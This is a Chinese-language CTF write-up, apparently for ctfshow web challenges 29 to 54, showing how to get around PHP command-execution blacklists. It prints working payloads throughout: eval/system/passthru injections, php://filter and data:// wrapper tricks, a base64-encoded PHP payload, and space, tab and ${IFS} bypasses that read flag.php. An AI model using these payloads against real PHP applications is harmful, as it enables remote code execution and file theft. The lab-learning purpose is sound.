简单执行:
Web29
怎么说呢,这个只过率了flag这个字符,能够构造的挺多的。
代码语言:javascript复制?c=system("tac fla*");
#system:执行系统命令,在通过占位符?或者*可以实现指令。
/?c=echo 'tac *';
/?c=echo 'cat *';
#eval()函数就是把输入的字符串当作php代码去执行,直接打开可以看到。
#在这里使用了,tac指令,这个跟cat指令效果相似,tac指令从最后一行倒序显示内容,并将所有内容输出
?c=echo `nl fl''ag.php`;
#nl 可以将输出的文件内容自动的加上行号,这个是ctfshow官方wp里给的解法,但是我确实没怎么用过
还有这一种方式,使用cp指令flag.php中的文件写入2.txt,直接打开就能得到flag。
代码语言:javascript复制/?c=`cp fla?.??? 2.txt`;
/2.txt
web30
这个你上一问多过滤了 system
,由于过滤了system,我们可以使用passthru函数进行替代。
代码语言:javascript复制passthru() 原型: void passthru ( string command [, int & 说明: passthru与system的区别,passthru直接将结果输出到游览器,不返回任何值,且其可以输出二进制
/?c=passthru("cat f*");#注上个题的那些除了第一个被过滤了,都可以用。
web31
循序渐进,这道题目比之前的又多过滤了空格与cat,使用
绕过: cat也可以用tac进行替换。cp指令因为.被ban了这里也无法执行,具体也不难。
/?c=passthru("tac f*");
/?c=echo 'tac *';
/?c=echo `nl f*`;
这道题也可以进行逃逸。
代码语言:javascript复制/?c=eval($_GET[1]);&1=system("cat flag.php");
web32
这次又过滤了echo函数,**?>**可以绕过;
,比较麻烦的还是他把括号也一并过滤了,使用命令逃逸加文件包含:
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
因为使用?>
,所以后面没办法直接拼接php语句,需要使用文件包含。 解码就得到flag。
web33
这个题比上一道只多过滤了括号,但是这种逃逸接文件包含完全不需要括号,所以变化不大。
web34
这个真就是经典ployed了 ,这道题多过滤了:但是实际上一开始构造的就是这种,基本上没什么变化。
代码语言:javascript复制?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web35
跟上面那个一样…..虽然在过滤时多过滤了一个=和一个<,但是在之前的构造的,已经通过?c=eval($_GET[1]);
逃逸了.
web36
连着3个了…..这个[0-9]被过滤,这边可以直接用a代替。
DATA伪协议相关:
web37
这个考察的php中的data伪协议,换考点之后过滤的返回少了….基本上用类似方法第29题构造的都可以拿来用。
代码语言:javascript复制/?c=data://text/plain,<?php system("tac fla?.php");?>
/?c=data:text/plain,<?=system("tac fla*");?>
#当然也可以用cp指令或者mv指令将flag文件复制出来再访问。
/?c=data:text/plain,<? cp fla?.??? 1.txt`;?>
Web38
代码语言:javascript复制<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
这一道题,他多过滤了PHP,php语言因为向下兼容的原因,可以有<?php ?>
, 也可以使用简短标签<? ?>
,同时还具有ASP风格<% %>
,这种不同的配置里应该需要在配置文件php.ini里面更改设置。
所以在这道题,我们可以使用短标签/?c=data:text/plain,<?=system("tac fla*");?>
,同时也可以用Base64编码进行绕过data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
Web39
在php文件里有这一句**include($c.”.php”); **,会将我们传入的文件的拓展名改为.php ,但是在我们的构造的过程中,data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用。
代码语言:javascript复制?c=data:text/plain,<?=system("tac fla*");?>
重定向相关:
Web42
代码语言:javascript复制<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
这道题跟前几道又有差别了,这次对进行了重定向,这个题按以往的方式无法进行。
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。 2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
代码语言:javascript复制1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt 2:/dev/null 代表空设备文件 3:2> 表示stderr标准错误 4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1 5:1 表示stdout标准输出,系统默认值是1,所以”>/dev/null”等同于 “1>/dev/null” 因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”
/?c=tac flag.php;ls
/?c=more flag.php
web43
这道题目,跟上一道题目类似,多过滤了;和cat,这里是转载的一些关于分隔符的内容。
1、“;”分隔符 用分号分隔的命令会按顺序执行,即使中间命令使用方式不对,会有相关错误输出,后面的命令照样会执行。如: 输入:命令A;命令B;命令C 按顺序执行A、B、C命令,若B命令调用方式不对,终端会有相关错误提示,提示后会继续执行C命令。 2、“&&”分隔符 同C、C 语言逻辑运算符”&&”类似,遇到首个命令执行失败后,后面的命令不会执行。如: 输入:命令A && 命令B && 命令C 先执行命令A,若A命令执行正确则再执行命令B。假如命令B执行失败,则停止,C命令不会被执行到。 3、“||”分隔符 同C、C 语言逻辑运算符”||”类似,遇到首个命令执行成功后,后面的命令不会执行。如: 输入:命令A || 命令B || 命令C 先执行命令A,若A命令执行失败则再执行命令B。假如命令B执行成功,则停止,C命令不会被执行到。
在这里就可以直接用上一道题的pyload改造一下
代码语言:javascript复制/?c=tac flag.php&&
#&&这个在使用时,应该使用urlencode为&&,否则会被当作url参数的分隔符而不是shell命令的分隔符。
?c=tac flag.php||ls
?c=more f*
#Linux的more指令,more指令的优先级貌似比重定向的>更高,使用more指令可以直接略过这个问题
Web44
这个题目过滤了flag,还是和以前一样使用在通过占位符?或者*可以实现指令。
代码语言:javascript复制/?c=tac fla*.php||ls
Web45
这道题过滤了 空格
,也就是说 被ban了,我们可以使用 也就是制表符替换得到flag。
?c=tac fla*.php||ls #使用制表符替换空格
?c=tac${IFS}la*.php||ls#也可以使用${IFS}
#在shell中,有一个好用的环境变量$IFS,用于内部字段分隔符
Web46
这一道题目,过滤了;|cat|flag|空格|数字|$|* ,怎么说呢, 可以继续使用制表符来替换
代码语言:javascript复制?c=tac fla?.php||ls
Web47
;|cat|flag| |[0-9]|$|*|more|less|head|sort|tail ,这这这,这都是过滤了什么啊?
上一个题的东西,还是可以接着使用
Web48
好家伙,他这是过滤了什么问题啊,后面那些函数我还是不怎么认得,我之后再去学习下**;|cat|flag| |[0-9]|$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|**还是接着用Web46的pyload就行
Web49
一个构造4连杀了,我还不是很清楚这个解法肯定不是期望解,去看看官方的题解是什么样子的。
Web50
他这一次终于将制表符给过滤了,这样我们之前的构造也无法使用了,我们可以使用带行号读指令nl ,同时nl里面不支持通配符,所以,这里不能以*和?代替flag.php中的内容,这里需要使用shell指令的一个特性,被两个单引号分割时,会被直接略过,是不会被读取的,因为‘被过滤,我们可以通过'这种形式进行绕过。
代码语言:javascript复制?c=nl<fla''g.php||
Web51
所以说上个题目,我这也不是预期解?继续使用nl<fla’’g.php||就能得到flag
Web52
代码语言:javascript复制<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|%|x09|x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
依旧没有过滤nl指令,这也导致我可以继续为所欲为……
Web53
这个终于步骤多了起来,这次多过滤了一对尖括号,这就没法用上面的那个构造了,不过好消息是**$**被放出来了, 不过这道题我们应该是没有写权限的(应该是有写权限的,只不过我一开始没成功,看官方的wp是能够进行更名的)。
Web54